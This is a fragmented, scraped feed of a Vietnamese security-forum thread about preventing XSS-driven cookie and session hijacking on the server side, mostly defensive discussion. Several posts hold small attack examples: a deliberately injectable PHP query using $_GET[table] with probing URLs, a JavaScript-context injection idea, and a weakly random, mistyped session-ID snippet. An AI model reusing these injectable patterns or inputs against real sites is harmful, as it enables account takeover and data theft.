<![CDATA[Latest posts for the topic "[Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server"]]> /hvaonline/posts/list/8.html JForum - http://www.jforum.net [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server người khai thác sẽ có thể đóng vai người bị khai thác (account bị đánh cắp cookie). Đối với các account bình thường thì không có mấy chuyện vui nhưng đối với các account có nhiều chức năng hơn (như của vmods, mods và admins) thì có thể tạo ra dung hại nếu có ý đồ không tốt. Vậy, ngăn chặn xss để ngăn chặn việc đánh cắp cookie là điều hiển nhiên. Tuy nhiên, nếu xss vẫn còn sót ở đâu đó chưa phát hiện được thì tình trạng "dùng cookie" như trên vẫn là mối đe dọa. Bởi thế, cách khắc phục khả thi và hữu hiệu nhất có thể được là gì? Mời các bạn thảo luận.]]> /hvaonline/posts/list/19371.html#115457 /hvaonline/posts/list/19371.html#115457 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#115459 /hvaonline/posts/list/19371.html#115459 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

StarGhost wrote:
Ừm, nói về mặt lý thuyết thì có thể dùng thêm địa chỉ IP để nhận dạng. Còn về tính khả thi của phương pháp này thì không dám lạm bàn vì không rõ overhead cả về memory lẫn cpu sẽ là bao nhiêu. Hơn nữa ở VN hay bị dùng qua proxy của ISP nên nhiều user có chung IP. Tuy nhiên, nếu không có trở ngại về mặt tài nguyên thì chắc là cũng giảm thiểu được kha khá xss. Để xem còn cách nào khác. Thân. 
IP thường là yếu tố đầu tiên mà ai cũng nghĩ đến :P . Cái khó như bồ đã đưa ra là VN hay bị dùng qua proxy của ISP nên tình hình có vẻ thiếu khả thi rồi. Thêm một trường hợp khá phổ biến nữa đó ISP (hay chính từng công ty) dùng load balancer có 2 IP khác nhau, thay phiên xoay vòng. Cũng là 1 người đăng nhập hợp lệ từ IP thứ nhất, tự dưng load balancer đổi sang IP thứ nhì và dẫn tới tình trang người dùng hợp lệ đó bị "nghi" là hijack session?. Khai triển tiếp đi :).]]> /hvaonline/posts/list/19371.html#115461 /hvaonline/posts/list/19371.html#115461 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#115491 /hvaonline/posts/list/19371.html#115491 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#115492 /hvaonline/posts/list/19371.html#115492 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
có 1 biện pháp hơi ...bất khả thi và cũng hơi phức tạp 1 chút thế này, cứ nêu ra anh em tham khảo nhé : dùng thêm 1 biến cookie động, tương tự như cơ chế sinh số sequence ngẫu nhiên. Sequence và step sẽ được browser sử dụng để tính sequence tiếp theo. Mỗi lần người dùng click vào 1 link hay submit .... thì phải gọi đến hàm javascript thay đổi biến cookie kia đã --> điều này quá phức tạp (tuy nhiên nếu dùng body onload() thì không có tác dụng, vì khi đó cookie bị lấy sẽ trở thành hợp lệ). Vậy server có thêm nhiệm vụ là kiểm tra tính hợp lệ của biến cookie này. nhược điểm của phuơng pháp này khá nhiều: - hacker cũng có thể thực thi hàm javascript trước khi lấy cookie. (chỉ có thể làm phức tạp hơn chút việc khai thác thôi) - cookie lưu trong browser không dùng lại được khi người dùng tắt đi và sau 1 thời gian lại kết nối vào diễn đàn. ... Cứ nêu cho mọi người tham khảo xem sao ^^ 
Xác định thêm là HVA hoàn toàn không dùng persistent cookie (cookie được lưu trên máy của client) mà chỉ dùng transient cookie (cookie chỉ lưu trên memory của browser). Bởi thế, sau khi tắt bỏ browser, sẽ hoàn toàn không có coookie nằm ở đâu để "dùng lại" cả :). Việc gamma95 lấy được cookie chỉ có thể dùng được nếu người bị lấy cookie lúc ấy vẫn còn truy cập và diễn đàn và cookie này vẫn còn đang giá trị đối với forum. Thân mến.]]> /hvaonline/posts/list/19371.html#115494 /hvaonline/posts/list/19371.html#115494 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
@anh conmale: hình như biến comboHash là anh tính toán hash gì đó dựa vào User-Agent. Nhưng mà User-Agent của victim thì Hacker dễ dàng chôm được mà anh ? Ps: Em nghĩ khó có giải pháp toàn diện để chống XSS phía server-side, vì khi XSS xảy ra thì hacker ko chỉ chôm được Cookie mà còn thể chôm được trọn bộ HTTP Header của victim. :)  
Hì hì, nếu chỉ dựa vào một dữ liệu là User-Agent thì hỏng bét rồi em :P . Hash được tạo ra từ càng nhiều combination càng tốt và phải có những điểm đặc thù nào đó. boom_jt đã đưa ra một từ khóa cực kỳ quan trọng: ngẫu nhiên. Tuy nhiên, boom_jt hơi bị "lạc đề" khi dùng đến giải pháp javascript bởi vì mình đang bàn ở "phía server" mà lị -:-) ]]> /hvaonline/posts/list/19371.html#115496 /hvaonline/posts/list/19371.html#115496 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv Code:
$sessionid = d5(rand().microtime());
Như vậy mỗi người dùng sẽ có một giá trị unique. Sử dụng cùng với lifetime cho mỗi session.]]> /hvaonline/posts/list/19371.html#115504 /hvaonline/posts/list/19371.html#115504 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

canh_nguyen wrote:
Ta có thể dùng giá trị session được tạo ngẫu nhiên cho mỗi user dạng:Code:
$sessionid = d5(rand().microtime());
Như vậy mỗi người dùng sẽ có một giá trị unique. Sử dụng cùng với lifetime cho mỗi session. 
giá trị unique đó có đảm bảo tránh được việc người lấy cookie có thể dùng nó ko bạn? :-/ @conmale: giải pháp server thì cũng phải kết hợp với client chứ :D ]]> /hvaonline/posts/list/19371.html#115515 /hvaonline/posts/list/19371.html#115515 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
..... @conmale: giải pháp server thì cũng phải kết hợp với client chứ :D  
Ngăn ngừa session hijacking mà dùng giải pháp nào ở phía client (javascript) thì gần như là vô dụng bởi vì nó không hề được server validate mà chỉ xảy ra hoàn toàn ở phía client.]]> /hvaonline/posts/list/19371.html#115580 /hvaonline/posts/list/19371.html#115580 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#115593 /hvaonline/posts/list/19371.html#115593 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

ThíchHắcKinh wrote:
Theo tôi thì để ngăn chặn hình thức tấn công này thì phía server tạo một bộ lọc trong phần chữ ký. Tôi nghĩ vấn đề này khá đơn giản. Trước khi hiển thị chữ ký ra ngoài thì tạo một bộ lọc từ database hoặc đơn giản nhất là lúc user nhập dữ liệu vào phần chữ ký ta sẽ có một bộ lọc kiểm tra tại bước này xem chữ ký đó có hợp lệ hay không rồi mới cho phép lưu vào database tôi nghĩ phương pháp này khả thi hơn. Thân. edit: sorry vì chưa đọc kỹ ý của bác commale, bác í nói là ngăn chặn XSS từ phía server tổng quát tôi lại phan ngay cái phần chữ ký :D. Các cách ngăn chặn các bạn trước đã thảo luận rồi, tôi thấy vấn đề tạo tính ngẫu nhiên cho mỗi phiên truy cập là một giải pháp tốt. Nhưng nếu kết hợp với các thông số từ phía người dùng (chẳng hạn như Web browse người đang truy cập là gì, IP ... hay các thông số khác) để kết hợp tạo ra một phiên truy cập sẽ càng tăng tính an toàn hơn. Một lần nữa xin lỗi vì cái tật hồ đồ :D  
Hì hì. Phần ngăn xss thì ok rồi, lọc cả 2 lần: 1) lọc ngay lúc chữ ký được cập nhật (hoặc chỉnh định) 2) lọc ngay lúc hiển thị. gamma95 đưa ra nhận định là nếu bị xss thì trọn bộ HTTP headers của client có thể bị chôm hết. Đây là nhận định rất giá trị để đánh giá tổng thể mức dung hại trong hoàn cảnh bị xss và bị chôm cookies + HTTP headers. Tuy nhiên, điểm quan trọng để phòng thủ và exploit ở đây là, sau khi chôm được cookies + HTTP headers, làm sao kẻ tấn công biết được phải dùng những gì trong HTTP headers để có thể tạo ra một hash có giá trị nhằm giả mạo (hijack) session (nếu một hash nào đó trong cookie dùng để validate xem session đó là đồ thật hay đồ giả)? Thân.]]> /hvaonline/posts/list/19371.html#115656 /hvaonline/posts/list/19371.html#115656 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#115680 /hvaonline/posts/list/19371.html#115680 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Kẻ tấn công không cần biết thuật toán hash là gì, mà chỉ cần sử dụng nguyên xi http header chôm được. Có lẽ đây là vấn đề khá nan giải. Yahoo! Mail hay nhiều trang web khác cũng không có được cơ chế nào chống lại điều này. 
Hì hì, bởi thế mới có chuyện để bàn :P Tuy vậy, vẫn có những phương pháp ngăn cản hoặc giảm thiểu hoặc làm chậm việc exploit.]]> /hvaonline/posts/list/19371.html#115685 /hvaonline/posts/list/19371.html#115685 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#115824 /hvaonline/posts/list/19371.html#115824 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#115836 /hvaonline/posts/list/19371.html#115836 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

vivashadow wrote:
Mấu chốt là ngoài thông tin session ra server phải nhận dạng được clien bằng những thông tin khác, hoặc là cố gắng nhận ra sự truy cập đồng thời từ nhiều máy tính khác nhau qua thái độ duyệt của người dùng. Theo hướng thứ nhất, server có thể ktra thêm một số thông tin có sẵn của client như rhost, IP,...browser, OS, múi h,...; Theo hướng thứ 2: - Cookie but not cookie: Yêu cầu client lưu trữ và trả lời server thông tin về last request (url, timestamp). - Xây dựng cây url (sitemap) để nhận ra những truy cập bất thường gây ra do tình trạng 2 người cùng truy cập. Cách này hơi phức tạp và sẽ gây tác dụng phụ với người dùng. Ngoài ra để hạn chế tác hại, thì những thao tác quan trọng của mod/admin nên bắt confirm bằng pass. À không biết cơ chế xác thực SSL 2 chiều của có tác dụng gì không nhỉ. 
Hướng thứ nhất của vivashadow thì đã có bàn ở trên, còn hướng thứ 2, bạn có thể nói rõ thêm về việc "Yêu cầu client lưu trữ và trả lời server thông tin về last request (url, timestamp)" Vì thực chất có lẽ nó cũng không giúp đc gì, vì cái gì thực hiện ở client thì cũng đều có thể bypass được, ngoài ra cơ chế cho việc client làm như vậy là gì? Vấn đề về url ko có ý kiến vì bồ đã nêu lên đc tác dụng phụ, và mình thì nghĩ là tác dụng phụ này quá lớn :D Việc confirm thì có lẽ diễn đàn thực hiện khá ok rồi, theo mình biết thì với cookie của mod/admin thì kẻ tấn công có thể sửa, xoá bài, vào đuợc các khu vực chỉ dành cho mod/admin trên diễn đàn, và không thể vào đc cp để thực hiện các chức năng cao hơn (đúng ko nhỉ :-/)]]> /hvaonline/posts/list/19371.html#115846 /hvaonline/posts/list/19371.html#115846 GMT [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server

conmale wrote:
Gần đây diễn đàn HVA bị một lỗi xss trong phần chữ ký của thành viên (được hiển thị trên mỗi bài viết nếu thành viên sử dụng chữ ký). Lỗi này do mod gamma95 tìm thấy và "khai thác" được cookie của những thành viên nào đã tò mò "xem con gián" (chữ ký cũ của gamma95). Cơ chế "khai thác" khá đơn giản, nó dùng xss và gởi giá trị cookie đến một site nào đó. Chủ nhân khai thác (gamma95) có thể xem và sử dụng khi nhận được thông tin này. Tôi không đi sâu vào chi tiết sắp xếp cơ chế "khai thác" này vì nó không phải là trọng tâm của chủ đề. Vấn đề nằm ở chỗ, sau khi lấy được trọn bộ cookie và dùng một công cụ nào đó để "dán" cookie vào để truy cập diễn đàn, người khai thác sẽ có thể đóng vai người bị khai thác (account bị đánh cắp cookie). Đối với các account bình thường thì không có mấy chuyện vui nhưng đối với các account có nhiều chức năng hơn (như của vmods, mods và admins) thì có thể tạo ra dung hại nếu có ý đồ không tốt. Vậy, ngăn chặn xss để ngăn chặn việc đánh cắp cookie là điều hiển nhiên. Tuy nhiên, nếu xss vẫn còn sót ở đâu đó chưa phát hiện được thì tình trạng "dùng cookie" như trên vẫn là mối đe dọa. Bởi thế, cách khắc phục khả thi và hữu hiệu nhất có thể được là gì? Mời các bạn thảo luận. 
Vấn đề mà bác conmale đưa ra thảo luận trên đây là một vấn đề phức tạp và khó. Trước hết XSS vulnerability là một lỗi khó phát hiện, phức tạp và khi nghi ngờ một site có lỗi này thì rất khó kiểm định lại để xác định đó là đúng như vậy hay không. Việc tạo lại một "hiện trường mô phỏng" để xác định chính xác là site (do người khác quản lý) có lỗi XSS thì khá phức tạp và mất công sức, thời gian. Ngoài ra hiện nay lỗi XSS cũng có nhiều loại khác nhau. Khi một server hay một webserver có lỗi XSS thì không thể yêu cầu các user "điều chỉnh" lại máy họ (browser chẳng hạn), như vậy là vô lý, vì họ có "lỗi" gì đâu. Ngoài ra thì không phải user nào cũng biết 'điều chỉnh" máy. Và lại điều quan trọng là, về cơ bản, việc config. các browser không giúp gì cho các user tránh được tác hại do lỗi XSS (hiện diện trên server) gây ra cho họ. Tuy khá phức tạp về thể loại và quá trình diễn biến, nhưng theo tôi, có những nguyên lý chung của các lỗi XSS là: - Nó là lỗi của server và chỉ của server mà thôi. - Lỗi chỉ gây tác hại (ở đây không nên dủng cụm từ "khai thác" lỗi) khi có 3 thảnh phần tham gia vào cùng một lúc: webserver có lỗi XSS (1), người đang truy cập vào trang webserver (vào nơi có lỗi XSS) (2)-đây chính là nạn nhân, một malicious webserver hay trang web khác (3) mà webserver hay trang web này có một đường dẫn đến nó từ webserver có lỗi XSS. Đừong dẫn này có thễ là loại "bị động", thí dụ là một đia chỉ URL trên webserver có lỗi XSS, mà muốn tạo liên kết thì nạn nhân (thành phần thứ 2) phải nhấp chuột vào, hoặc là loại "chủ động", thí dụ một image tại một URL của webserver có lỗi XSS, image sẽ được download từ một webserver độc hại (thành phần thứ 3) khi ta truy cập đến URL này. Khi nạn nhân (thành phần thứ 2) truy cập đến URL nói trên thì mối liên kết đến webserver độc hại sẽ "tự động" được thiết lập. Xin ghi nhớ là: người truy cập (thành phần thứ 2) vào webserver có lỗi XSS mới là nạn nhân trực tiếp, nạn nhân đầu tiên trong đa số trường hợp. Còn webserver (nếu là một forum, thí dụ như vậy) thì chỉ là nạn nhân thứ hai, gián tiếp. Đó là trường hợp anh conmale đã nói ở trên. .......... (Phải đến cơ quan, sẽ xin viết tiếp ngay) ]]> /hvaonline/posts/list/19371.html#116047 /hvaonline/posts/list/19371.html#116047 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#116068 /hvaonline/posts/list/19371.html#116068 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

Look2Me wrote:
Webserver không mắc lỗi XSS và là website mắc lỗi.  
Bản thân ứng dụng Web Application bị XSS thì bình thường, ko có gì để nói. Cá biệt có trường hợp bị XSS ở Webserver (Chính xác là bị ở ứng dụng Server Manager). Chi tiết xem tại đây http://zhodiac.net-dreamer.net/my-stuff/security/Iplanet-NG-XSS-analysis.pdf Trong tài liệu này gần như là một trong những tài liệu đầu tiên mở ra hướng khai thác CSRF, XSS kết hợp với CSRF để get root cả server.
Để ngăn XSS từ phía server thì 1 cách hay nhất là dựa trên địa chỉ IP. Tuy nhiên nó lại gặp hạn chế với hệ thống mạng sử dụng load balancing. => Chịu! Control code website cho tốt thôi, có thể sử dụng 1 trang filter để lọc tất cả các tham số đầu vào cho hệ thống 
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? :D ]]> /hvaonline/posts/list/19371.html#116074 /hvaonline/posts/list/19371.html#116074 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116094 /hvaonline/posts/list/19371.html#116094 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Hướng thứ nhất của vivashadow thì đã có bàn ở trên, còn hướng thứ 2, bạn có thể nói rõ thêm về việc "Yêu cầu client lưu trữ và trả lời server thông tin về last request (url, timestamp)" Vì thực chất có lẽ nó cũng không giúp đc gì, vì cái gì thực hiện ở client thì cũng đều có thể bypass được, ngoài ra cơ chế cho việc client làm như vậy là gì?  
Cơ chế là Server sinh ra một thứ tương tự như session id của cookie rồi dùng (kèm thêm) một trong các pp được gọi chung là Cookies Alternation:URL (query string), Hidden form fields, Client-side persistence,.. để lưu trữ sau đó dùng để xác nhận kèm theo coockie.

boom_jt wrote:
Việc confirm thì có lẽ diễn đàn thực hiện khá ok rồi, theo mình biết thì với cookie của mod/admin thì kẻ tấn công có thể sửa, xoá bài, vào đuợc các khu vực chỉ dành cho mod/admin trên diễn đàn, và không thể vào đc cp để thực hiện các chức năng cao hơn (đúng ko nhỉ :-/)  
Đúng hay không chỉ có mod và admin biết, dân thường sao biết dc. Mình chỉ nêu ra để nhắc thôi. Mà hình như bạn hiểu chưa rõ việc confirm mình nêu. Ý mình là mỗi thao tác quan trọng như del move chủ đề đều bắt buộc nhập lại pass, nếu attacker có lấy dc cookie thì cũng chỉ để quậy lặc vặc thôi nên dễ dàng khôi phục. Ngoài ra để chống lấy cookie bằng javascript có thể dùng cờ httpOnly (hạn chế vì chưa tương thích toàn bộ các trình duyệt)]]> /hvaonline/posts/list/19371.html#116097 /hvaonline/posts/list/19371.html#116097 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv để lưu trữ sau đó dùng để xác nhận kèm theo coockie.   cái gì đã lưu trữ ở client và sau đó xác nhận kèm theo cookie cũng đều có thể lấy được bằng XSS :P Mình sẽ tìm hiểu về httpOnly xem sao, cảm ơn bạn nha :) p/s: cảm ơn gamma vì cái tài liệu nha, quả thật việc dùng xss và csrf để getroot làm mình khá bất ngờ, nhất định sẽ đọc! :D]]> /hvaonline/posts/list/19371.html#116105 /hvaonline/posts/list/19371.html#116105 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Lọc đầu vào (từ người dùng) quan trọng hơn chứ :D (trường hợp tổng quát nói chung với các website nhé ^_^) lọc đầu ra có vẻ ít khả thi do khó nhận biết đoạn code nào đã bị inject trong cả 1 trang html. (cũng có thể đc, ví dụ: lọc các thẻ html "có vấn đề" nằm trong <div>[bài viết]</div> của 1 bài viết trên forum chẳng hạn, nhưng đây là trường hợp không tổng quát ...) 
sao lại khó nhỉ? cái nào nhận từ $_GET, $_POST từ người dùng thì trước khi cho nó là "đầu ra" mới lọc thôi, chứ lọc tất cả đầu vào thì hơi thừa rồi nhá :D (tất nhiên là đang nói XSS, chứ SQL ij hay command injection mà làm kiểu này thì tiêu )]]> /hvaonline/posts/list/19371.html#116111 /hvaonline/posts/list/19371.html#116111 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:

boom_jt wrote:
Lọc đầu vào (từ người dùng) quan trọng hơn chứ :D (trường hợp tổng quát nói chung với các website nhé ^_^) lọc đầu ra có vẻ ít khả thi do khó nhận biết đoạn code nào đã bị inject trong cả 1 trang html. (cũng có thể đc, ví dụ: lọc các thẻ html "có vấn đề" nằm trong <div>[bài viết]</div> của 1 bài viết trên forum chẳng hạn, nhưng đây là trường hợp không tổng quát ...) 
sao lại khó nhỉ? cái nào nhận từ $_GET, $_POST từ người dùng thì trước khi cho nó là "đầu ra" mới lọc thôi, chứ lọc tất cả đầu vào thì hơi thừa rồi nhá :D (tất nhiên là đang nói XSS, chứ SQL ij hay command injection mà làm kiểu này thì tiêu ) 
Thì ý mình nào có khác, vấn đề gamma nói vẫn là lọc đầu vào từ người dùng đó thôi :P]]> /hvaonline/posts/list/19371.html#116114 /hvaonline/posts/list/19371.html#116114 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv echo $_input ngay trong thẻ <script> sẵn rồi, attacker ko cần chèn thêm thẻ <script> mới khai thác đc, lúc chỉ chỉ cần input= foo; window.location, window.open gì đó là done thôi :D ... Lúc đó thì lọc thể nào ?? chả nhẽ lọc hết javascript function ??? :D]]> /hvaonline/posts/list/19371.html#116116 /hvaonline/posts/list/19371.html#116116 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#116117 /hvaonline/posts/list/19371.html#116117 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116119 /hvaonline/posts/list/19371.html#116119 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server

Look2Me wrote:
Webserver không mắc lỗi XSS và là website mắc lỗi. Để ngăn XSS từ phía server thì 1 cách hay nhất là dựa trên địa chỉ IP. Tuy nhiên nó lại gặp hạn chế với hệ thống mạng sử dụng load balancing. => Chịu! Control code website cho tốt thôi, có thể sử dụng 1 trang filter để lọc tất cả các tham số đầu vào cho hệ thống. 
Website hosting trong một webserver, vì vậy nói webserver có lỗi là nói tổng quát, khi đề cập đến 3 thành phần tham gia để lỗi XSS phát huy tác dụng. Một webserver có thể có nhiều website và nhiều website có thể cùng mắc lỗi XSS. Ngoài ra còn có trường hợp như gamma95 thông báo. Không thể dùng source IP của user làm thông số để detect và ngăn một user (dùng HTTP header trong đó có cookie chiếm đoạt từ lỗi XSS trên webserver) kết nối vào chính webserver này, vì có rất nhiều nguyên nhân, thí dụ. - ISP sử dụng Gateway-Proxy - Các user luôn đựoc ISP cấp một Dynamic WAN IP - Hai user cùng trong một mạng LAN lớn, dùng chung một ADSL modem. Trong đó có một người là hacker ...vân vân. Lọc thông số đầu vào cụ thể là lọc cái gì? Ý bạn nói là Content Filter? Nhưng những thông số trong gói HTTP header (bị chiếm đọat và đựoc hacker tái sử dụng) là hợp lệ cơ mà? Vậy thì lọc cái gì? Tôi sẽ viết tiếp bài viết tôi đang viết dở dang ở post trên ]]> /hvaonline/posts/list/19371.html#116122 /hvaonline/posts/list/19371.html#116122 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
hì hì, bồ cứ đưa đoạn mã bị sql inj, mình đảm bảo fix đc á :P xss như đoạn bồ vừa nói là 1 trường hợp rất hay, (cũng filter đc chớ :P giả dụ ko cho thực hiện câu javascript tiếp theo bằng dấu ; - js mà ko có ; thì có thực hiện tiếp đc ko nhỉ :-/) @mR.Bi: lọc hết js thì mất hết hay của web rùi còn gì :D 
hehe, XSS mà bồ đi lọc dấu chấm phẩy àh? Hay là thấy trường hợp của tui rồi mới nảy ra ý lọc dấu chấm phẩy (j/k). Còn đoạn code bị SQL injection là thế này đây Tui có một website về 1 giải bóng đá (WC 2010) chẳng hạn: giải đấu được chia ra làm 10000 bảng: #:S muốn xem thông tin các đội trong 1 bảng, ví dụ bảng A đi: thì truy cập URL: http://football.com/info.php?table=A trong source-code $sql="select * from $_GET[table]"; ....... hehe, lúc đó hacker tấn công SQL injection ở mức cơ bản http://football.com/info.php?table=Admin hoặc http://football.com/info.php?table=Infomation_schema.tables ..... thì bồ xây dựng bộ lọc SQL injection trong trường hợp này thế nào ?? :D @vivashadow: Bồ làm một bài về httpOnly đi, tui có nhiều thắc mắc về nó :D ]]> /hvaonline/posts/list/19371.html#116125 /hvaonline/posts/list/19371.html#116125 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv @mR.Bi: lọc hết js thì mất hết hay của web rùi còn gì  thế ko phải các bác đang lọc đầu vào à? "đầu vào" ở đây là việc input các Script mang tính dung hại từ phía user cơ mà, có liên quan gì tới web đâu nhở :-/ ]]> /hvaonline/posts/list/19371.html#116128 /hvaonline/posts/list/19371.html#116128 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#116130 /hvaonline/posts/list/19371.html#116130 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116131 /hvaonline/posts/list/19371.html#116131 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server Thôi thì có bạn nào hiểu kỹ về XSS thì viết bổ sung cho phần định nghĩa, mô tả, phân loại và nguyên tắc hoạt động của từng loại XSS. Thank you in advance! Tôi xin viết tiếp bài trên, đi ngay vào vấn đề anh conmale đề câp. Còn các nôi dung bổ sung kiến thức về XSS sẽ nhờ các bạn khác bổ sung, như nói ở trên. Trong khi HVA chúng ta chưa có thời gian và điều kiện phát hiện hết các lỗi XSS tồn tại ở các URL, khu vực khác nhau của Website-webserver, thì theo tôi để tránh tác hại của của việc hacker "chôm " đựoc HTTP header+cookie của một Vmod, Mod nào đó thông qua lỗi XSS của HVA forum, rồi tái sử dụng nó ngay trong phiên kết nối còn giá trị, kết nối vào HVA, ta nên có các biện pháp sau; 1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê). 2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root. Còn để có cơ may phát hiện ra khả năng một hacker sử dụng HTTP header+cookie chiếm đoạt để tái truy cập vào HVA forum thì theo tôi có thể thử dùng vài cách sau: 1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker. 2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt. 3- Config Webserver-forum (vì Webserver của HVA chỉ hosting một HVA forum) để không cho phép một user đã truy cập thành công vào forum, lại có thể truy cập tiếp lần thứ hai vào forum. Tuy nhiên cả hai cách 1-2 nói trên sẽ có một hạn chế trong trừong hợp là: hacker truy cập đến máy trong khi user thưc còn "đứng" trong forum, nhưng ngay sau đó thì user thưc lại tắt kết nối vào HVA forum mà không làm thủ tục "Đăng xuất", như ta vẫn hay thường làm như vậy. Còn để đề phòng cũng có các biện pháp sau: - Không cho users có thể insert các image hosted trên webserver khác vào HVA forum, đặc biệt vào các chỗ nhạy cảm, dễ có lỗi XSS, thí dụ như tại nơi đặt "signature". - Tại các chỗ nhạy cảm nói trên , thâm chí không cho phép đặt môt link (dưới bất cứ hình thức nào) để có thể kết nối với một website bên ngoài, dù user có click chuột hay không. - Thiết lập một cơ chế kiểm soát HVA forum từ một Webserver bên ngoài, bao quát mọi HVA forum URL. Lắp đặt các tiện ích monitoring để phát hiện Hijacking lơi dụng lỗi XSS. Tuy nhiên chi tiết việc này xin phép không nói rõ. (Việc này cách đây 2 năm tôi cũng đã đề cập với anh conmale. Anh đã tán thành, bàn cách làm. Nhưng vì bận quá và thấy chưa thật cần nên chúng tôi cũng lười chưa làm) ]]> /hvaonline/posts/list/19371.html#116149 /hvaonline/posts/list/19371.html#116149 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? :D  
Lão gamma95 luôn đặt ra những câu hỏi thông minh, ý nhị và đượm chút láu lỉnh. Vậy thì giống như ta vào một cửa hàng mua đồ, nhưng cửa hàng nhiều bụi. Nên chủ cửa hàng thiết kế một hệ thống hút bụi đặt ngoài cửa và hệ thống này sẽ có nhiệm vụ hút hết bụi bậm trên quần áo khách hàng lúc ra khỏi cửa hàng?. Hì hì. Nhưng xin hỏi lại gamma95 một câu để đựoc chỉ giáo, là: Trong quá trình nạn nhân (thành phần thứ 2) "chủ động" kết nối đến một Webserver độc hại, có "cơ cấu" chôm HTTP header+cookie, (bằng cách vô tình click chuột vào một link nào đấy trên HVA forum), hay "bị động" bị dẫn đến đó, thì cái "khối" HTTP header+cookie của nạn nhân vừa truy cập vào HVA ấy, nó "nằm" (located) ở đâu? Trên HVA forum hay trên máy của nạn nhân? trứoc khi nó bị chuyển về Webserver độc hại. Thanks for your reply!]]> /hvaonline/posts/list/19371.html#116175 /hvaonline/posts/list/19371.html#116175 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116185 /hvaonline/posts/list/19371.html#116185 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

PXMMRF wrote:

gamma95 wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? :D  
